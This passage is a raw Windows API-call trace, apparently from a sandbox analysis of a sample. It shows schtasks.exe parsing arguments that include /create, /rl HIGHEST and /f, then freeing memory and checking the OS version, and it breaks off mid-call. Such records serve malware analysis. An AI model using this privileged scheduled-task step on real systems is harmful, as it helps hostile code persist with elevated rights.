(lpString="showsid") returned 7 [0075.492] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.492] lstrlenW (lpString="rl") returned 2 [0075.492] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.492] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|showsid|") returned 9 [0075.492] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|rl|") returned 4 [0075.492] lstrlenW (lpString="|showsid|") returned 9 [0075.492] lstrlenW (lpString="|rl|") returned 4 [0075.492] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0075.492] SetLastError (dwErrCode=0x490) [0075.492] SetLastError (dwErrCode=0x490) [0075.492] SetLastError (dwErrCode=0x0) [0075.492] lstrlenW (lpString="/rl") returned 3 [0075.492] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0075.492] SetLastError (dwErrCode=0x490) [0075.493] SetLastError (dwErrCode=0x0) [0075.493] lstrlenW (lpString="/rl") returned 3 [0075.493] GetProcessHeap () returned 0x380000 [0075.493] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x8) returned 0x39ddd0 [0075.493] GetProcessHeap () returned 0x380000 [0075.493] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39ce90 [0075.493] SetLastError (dwErrCode=0x0) [0075.493] SetLastError (dwErrCode=0x0) [0075.493] lstrlenW (lpString="HIGHEST") returned 7 [0075.493] lstrlenW (lpString="-/") returned 2 [0075.493] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0075.493] SetLastError (dwErrCode=0x490) [0075.493] SetLastError (dwErrCode=0x490) [0075.493] SetLastError (dwErrCode=0x0) [0075.493] lstrlenW (lpString="HIGHEST") returned 7 [0075.493] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0075.493] SetLastError (dwErrCode=0x490) [0075.493] SetLastError (dwErrCode=0x0) [0075.493] lstrlenW (lpString="HIGHEST") returned 7 [0075.493] GetProcessHeap () returned 0x380000 [0075.493] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x10) returned 0x39d620 [0075.493] GetProcessHeap () returned 0x380000 [0075.493] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cec0 [0075.493] SetLastError (dwErrCode=0x0) [0075.493] SetLastError (dwErrCode=0x0) [0075.493] lstrlenW (lpString="/f") returned 2 [0075.493] lstrlenW (lpString="-/") returned 2 [0075.493] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.493] lstrlenW (lpString="?") returned 1 [0075.493] lstrlenW (lpString="?") returned 1 [0075.494] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.494] lstrlenW (lpString="f") returned 1 [0075.494] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.494] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|?|") returned 3 [0075.494] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|f|") returned 3 [0075.494] lstrlenW (lpString="|?|") returned 3 [0075.494] lstrlenW (lpString="|f|") returned 3 [0075.494] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0075.494] SetLastError (dwErrCode=0x490) [0075.494] lstrlenW (lpString="create") returned 6 [0075.494] lstrlenW (lpString="create") returned 6 [0075.494] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.494] lstrlenW (lpString="f") returned 1 [0075.494] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.494] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|create|") returned 8 [0075.494] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|f|") returned 3 [0075.494] lstrlenW (lpString="|create|") returned 8 [0075.494] lstrlenW (lpString="|f|") returned 3 [0075.494] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0075.494] SetLastError (dwErrCode=0x490) [0075.494] lstrlenW (lpString="delete") returned 6 [0075.494] lstrlenW (lpString="delete") returned 6 [0075.494] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.494] lstrlenW (lpString="f") returned 1 [0075.495] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.495] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|delete|") returned 8 [0075.495] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|f|") returned 3 [0075.495] lstrlenW (lpString="|delete|") returned 8 [0075.495] lstrlenW (lpString="|f|") returned 3 [0075.495] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0075.495] SetLastError (dwErrCode=0x490) [0075.495] lstrlenW (lpString="query") returned 5 [0075.495] lstrlenW (lpString="query") returned 5 [0075.495] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.495] lstrlenW (lpString="f") returned 1 [0075.495] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.495] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|query|") returned 7 [0075.495] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|f|") returned 3 [0075.495] lstrlenW (lpString="|query|") returned 7 [0075.495] lstrlenW (lpString="|f|") returned 3 [0075.495] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0075.495] SetLastError (dwErrCode=0x490) [0075.495] lstrlenW (lpString="change") returned 6 [0075.495] lstrlenW (lpString="change") returned 6 [0075.495] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.495] lstrlenW (lpString="f") returned 1 [0075.495] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.495] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|change|") returned 8 [0075.495] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|f|") returned 3 [0075.496] lstrlenW (lpString="|change|") returned 8 [0075.496] lstrlenW (lpString="|f|") returned 3 [0075.496] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0075.496] SetLastError (dwErrCode=0x490) [0075.496] lstrlenW (lpString="run") returned 3 [0075.496] lstrlenW (lpString="run") returned 3 [0075.496] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.496] lstrlenW (lpString="f") returned 1 [0075.496] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.496] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|run|") returned 5 [0075.496] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|f|") returned 3 [0075.496] lstrlenW (lpString="|run|") returned 5 [0075.496] lstrlenW (lpString="|f|") returned 3 [0075.496] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0075.496] SetLastError (dwErrCode=0x490) [0075.496] lstrlenW (lpString="end") returned 3 [0075.496] lstrlenW (lpString="end") returned 3 [0075.496] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.496] lstrlenW (lpString="f") returned 1 [0075.496] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.496] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|end|") returned 5 [0075.496] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|f|") returned 3 [0075.496] lstrlenW (lpString="|end|") returned 5 [0075.497] lstrlenW (lpString="|f|") returned 3 [0075.497] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0075.497] SetLastError (dwErrCode=0x490) [0075.497] lstrlenW (lpString="showsid") returned 7 [0075.497] lstrlenW (lpString="showsid") returned 7 [0075.497] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.497] lstrlenW (lpString="f") returned 1 [0075.497] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.497] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|showsid|") returned 9 [0075.497] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|f|") returned 3 [0075.497] lstrlenW (lpString="|showsid|") returned 9 [0075.497] lstrlenW (lpString="|f|") returned 3 [0075.497] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0075.497] SetLastError (dwErrCode=0x490) [0075.497] SetLastError (dwErrCode=0x490) [0075.497] SetLastError (dwErrCode=0x0) [0075.497] lstrlenW (lpString="/f") returned 2 [0075.497] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0075.497] SetLastError (dwErrCode=0x490) [0075.497] SetLastError (dwErrCode=0x0) [0075.497] lstrlenW (lpString="/f") returned 2 [0075.497] GetProcessHeap () returned 0x380000 [0075.497] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x6) returned 0x39ddf0 [0075.497] GetProcessHeap () returned 0x380000 [0075.497] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cef0 [0075.497] SetLastError (dwErrCode=0x0) [0075.498] GetProcessHeap () returned 0x380000 [0075.498] GetProcessHeap () returned 0x380000 [0075.498] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c2e0) returned 1 [0075.498] GetProcessHeap () returned 0x380000 [0075.498] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c2e0) returned 0x8 [0075.498] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c2e0 | out: hHeap=0x380000) returned 1 [0075.498] GetProcessHeap () returned 0x380000 [0075.498] GetProcessHeap () returned 0x380000 [0075.498] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cd10) returned 1 [0075.498] GetProcessHeap () returned 0x380000 [0075.498] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cd10) returned 0x20 [0075.499] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cd10 | out: hHeap=0x380000) returned 1 [0075.499] GetProcessHeap () returned 0x380000 [0075.499] GetProcessHeap () returned 0x380000 [0075.499] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c370) returned 1 [0075.499] GetProcessHeap () returned 0x380000 [0075.499] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c370) returned 0xc [0075.499] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c370 | out: hHeap=0x380000) returned 1 [0075.499] GetProcessHeap () returned 0x380000 [0075.500] GetProcessHeap () returned 0x380000 [0075.500] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cd40) returned 1 [0075.500] GetProcessHeap () returned 0x380000 [0075.500] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cd40) returned 0x20 [0075.501] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cd40 | out: hHeap=0x380000) returned 1 [0075.501] GetProcessHeap () returned 0x380000 [0075.501] GetProcessHeap () returned 0x380000 [0075.501] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c390) returned 1 [0075.501] GetProcessHeap () returned 0x380000 [0075.501] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c390) returned 0x8 [0075.501] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c390 | out: hHeap=0x380000) returned 1 [0075.501] GetProcessHeap () returned 0x380000 [0075.501] GetProcessHeap () returned 0x380000 [0075.501] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cd70) returned 1 [0075.501] GetProcessHeap () returned 0x380000 [0075.501] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cd70) returned 0x20 [0075.502] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cd70 | out: hHeap=0x380000) returned 1 [0075.502] GetProcessHeap () returned 0x380000 [0075.503] GetProcessHeap () returned 0x380000 [0075.503] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c3b0) returned 1 [0075.503] GetProcessHeap () returned 0x380000 [0075.503] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c3b0) returned 0xe [0075.503] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c3b0 | out: hHeap=0x380000) returned 1 [0075.503] GetProcessHeap () returned 0x380000 [0075.503] GetProcessHeap () returned 0x380000 [0075.503] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cda0) returned 1 [0075.503] GetProcessHeap () returned 0x380000 [0075.503] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cda0) returned 0x20 [0075.503] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cda0 | out: hHeap=0x380000) returned 1 [0075.503] GetProcessHeap () returned 0x380000 [0075.504] GetProcessHeap () returned 0x380000 [0075.504] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c3d0) returned 1 [0075.504] GetProcessHeap () returned 0x380000 [0075.504] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c3d0) returned 0x8 [0075.504] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c3d0 | out: hHeap=0x380000) returned 1 [0075.504] GetProcessHeap () returned 0x380000 [0075.504] GetProcessHeap () returned 0x380000 [0075.504] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cdd0) returned 1 [0075.504] GetProcessHeap () returned 0x380000 [0075.504] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cdd0) returned 0x20 [0075.504] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cdd0 | out: hHeap=0x380000) returned 1 [0075.504] GetProcessHeap () returned 0x380000 [0075.504] GetProcessHeap () returned 0x380000 [0075.505] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c3f0) returned 1 [0075.505] GetProcessHeap () returned 0x380000 [0075.505] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c3f0) returned 0x4 [0075.505] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c3f0 | out: hHeap=0x380000) returned 1 [0075.505] GetProcessHeap () returned 0x380000 [0075.505] GetProcessHeap () returned 0x380000 [0075.505] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce00) returned 1 [0075.505] GetProcessHeap () returned 0x380000 [0075.505] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ce00) returned 0x20 [0075.505] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce00 | out: hHeap=0x380000) returned 1 [0075.505] GetProcessHeap () returned 0x380000 [0075.505] GetProcessHeap () returned 0x380000 [0075.505] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c410) returned 1 [0075.505] GetProcessHeap () returned 0x380000 [0075.506] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c410) returned 0x8 [0075.506] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c410 | out: hHeap=0x380000) returned 1 [0075.506] GetProcessHeap () returned 0x380000 [0075.506] GetProcessHeap () returned 0x380000 [0075.506] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce30) returned 1 [0075.506] GetProcessHeap () returned 0x380000 [0075.506] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ce30) returned 0x20 [0075.506] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce30 | out: hHeap=0x380000) returned 1 [0075.506] GetProcessHeap () returned 0x380000 [0075.506] GetProcessHeap () returned 0x380000 [0075.507] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x397c00) returned 1 [0075.507] GetProcessHeap () returned 0x380000 [0075.507] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x397c00) returned 0x32 [0075.507] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x397c00 | out: hHeap=0x380000) returned 1 [0075.507] GetProcessHeap () returned 0x380000 [0075.507] GetProcessHeap () returned 0x380000 [0075.507] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce60) returned 1 [0075.507] GetProcessHeap () returned 0x380000 [0075.507] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ce60) returned 0x20 [0075.508] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce60 | out: hHeap=0x380000) returned 1 [0075.508] GetProcessHeap () returned 0x380000 [0075.508] GetProcessHeap () returned 0x380000 [0075.508] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ddd0) returned 1 [0075.508] GetProcessHeap () returned 0x380000 [0075.508] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ddd0) returned 0x8 [0075.508] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ddd0 | out: hHeap=0x380000) returned 1 [0075.508] GetProcessHeap () returned 0x380000 [0075.508] GetProcessHeap () returned 0x380000 [0075.508] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce90) returned 1 [0075.508] GetProcessHeap () returned 0x380000 [0075.508] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ce90) returned 0x20 [0075.509] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce90 | out: hHeap=0x380000) returned 1 [0075.509] GetProcessHeap () returned 0x380000 [0075.509] GetProcessHeap () returned 0x380000 [0075.509] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d620) returned 1 [0075.509] GetProcessHeap () returned 0x380000 [0075.509] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d620) returned 0x10 [0075.509] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d620 | out: hHeap=0x380000) returned 1 [0075.509] GetProcessHeap () returned 0x380000 [0075.509] GetProcessHeap () returned 0x380000 [0075.509] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cec0) returned 1 [0075.509] GetProcessHeap () returned 0x380000 [0075.509] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cec0) returned 0x20 [0075.510] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cec0 | out: hHeap=0x380000) returned 1 [0075.510] GetProcessHeap () returned 0x380000 [0075.510] GetProcessHeap () returned 0x380000 [0075.510] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ddf0) returned 1 [0075.510] GetProcessHeap () returned 0x380000 [0075.510] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ddf0) returned 0x6 [0075.510] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ddf0 | out: hHeap=0x380000) returned 1 [0075.510] GetProcessHeap () returned 0x380000 [0075.510] GetProcessHeap () returned 0x380000 [0075.510] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cef0) returned 1 [0075.510] GetProcessHeap () returned 0x380000 [0075.510] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cef0) returned 0x20 [0075.511] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cef0 | out: hHeap=0x380000) returned 1 [0075.511] GetProcessHeap () returned 0x380000 [0075.511] GetProcessHeap () returned 0x380000 [0075.511] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39bab0) returned 1 [0075.511] GetProcessHeap () returned 0x380000 [0075.511] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bab0) returned 0x18 [0075.511] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bab0 | out: hHeap=0x380000) returned 1 [0075.512] SetLastError (dwErrCode=0x0) [0075.512] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0075.512] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0075.512] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0075.512] VerifyVersionInfoW (in: lpVersionInformation=0x29c4b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x29c4b0) returned 1 [0075.512] SetLastError (dwErrCode=0x0) [0075.512] lstrlenW (lpString="create") returned 6 [0075.512] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0075.512] SetLastError (dwErrCode=0x490) [0075.512] SetLastError (dwErrCode=0x0) [0075.512] lstrlenW (lpString="create") returned 6 [0075.512] GetProcessHeap () returned 0x380000 [0075.512] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cef0 [0075.512] GetProcessHeap () returned 0x380000 [0075.512] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39d620 [0075.512] _memicmp (_Buf1=0x39d620, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.512] GetProcessHeap () returned 0x380000 [0075.512] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x16) returned 0x39d640 [0075.512] SetLastError (dwErrCode=0x0) [0075.512] _memicmp (_Buf1=0x39bb70, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.513] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x39bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0075.513] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0075.513] GetProcessHeap () returned 0x380000 [0075.513] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x74e) returned 0x39ddd0 [0075.513] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x39ddd0 | out: lpData=0x39ddd0) returned 1 [0075.514] VerQueryValueW (in: pBlock=0x39ddd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29c598, puLen=0x29c600 | out: lplpBuffer=0x29c598*=0x39e16c, puLen=0x29c600) returned 1 [0075.514] _memicmp (_Buf1=0x39bb70, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.514] _vsnwprintf (in: _Buffer=0x39bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29c578 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0075.514] VerQueryValueW (in: pBlock=0x39ddd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29c608, puLen=0x29c5f8 | out: lplpBuffer=0x29c608*=0x39df98, puLen=0x29c5f8) returned 1 [0075.514] lstrlenW (lpString="schtasks.exe") returned 12 [0075.514] lstrlenW (lpString="schtasks.exe") returned 12 [0075.514] lstrlenW (lpString=".EXE") returned 4 [0075.514] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0075.514] lstrlenW (lpString="schtasks.exe") returned 12 [0075.514] lstrlenW (lpString=".EXE") returned 4 [0075.514] lstrlenW (lpString="schtasks") returned 8 [0075.514] lstrlenW (lpString="/create") returned 7 [0075.514] _memicmp (_Buf1=0x39bb70, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.514] _vsnwprintf (in: _Buffer=0x39bd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x29c578 | out: _Buffer="schtasks /create") returned 16 [0075.514] _memicmp (_Buf1=0x39bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.514] GetProcessHeap () returned 0x380000 [0075.514] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cec0 [0075.515] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.515] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0075.515] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0075.515] GetProcessHeap () returned 0x380000 [0075.515] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x30) returned 0x397c00 [0075.515] _vsnwprintf (in: _Buffer=0x39c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29c578 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0075.515] GetProcessHeap () returned 0x380000 [0075.515] GetProcessHeap () returned 0x380000 [0075.515] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ddd0) returned 1 [0075.515] GetProcessHeap () returned 0x380000 [0075.515] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ddd0) returned 0x74e [0075.515] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ddd0 | out: hHeap=0x380000) returned 1 [0075.516] SetLastError (dwErrCode=0x0) [0075.516] GetThreadLocale () returned 0x409 [0075.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.516] lstrlenW (lpString="create") returned 6 [0075.516] GetThreadLocale () returned 0x409 [0075.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.516] lstrlenW (lpString="?") returned 1 [0075.516] GetThreadLocale () returned 0x409 [0075.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.516] lstrlenW (lpString="s") returned 1 [0075.516] GetThreadLocale () returned 0x409 [0075.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.516] lstrlenW (lpString="u") returned 1 [0075.516] GetThreadLocale () returned 0x409 [0075.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.516] lstrlenW (lpString="p") returned 1 [0075.516] GetThreadLocale () returned 0x409 [0075.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.516] lstrlenW (lpString="ru") returned 2 [0075.516] GetThreadLocale () returned 0x409 [0075.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.516] lstrlenW (lpString="rp") returned 2 [0075.516] GetThreadLocale () returned 0x409 [0075.516] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.516] lstrlenW (lpString="sc") returned 2 [0075.516] GetThreadLocale () returned 0x409 [0075.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.517] lstrlenW (lpString="mo") returned 2 [0075.517] GetThreadLocale () returned 0x409 [0075.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.517] lstrlenW (lpString="d") returned 1 [0075.517] GetThreadLocale () returned 0x409 [0075.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, 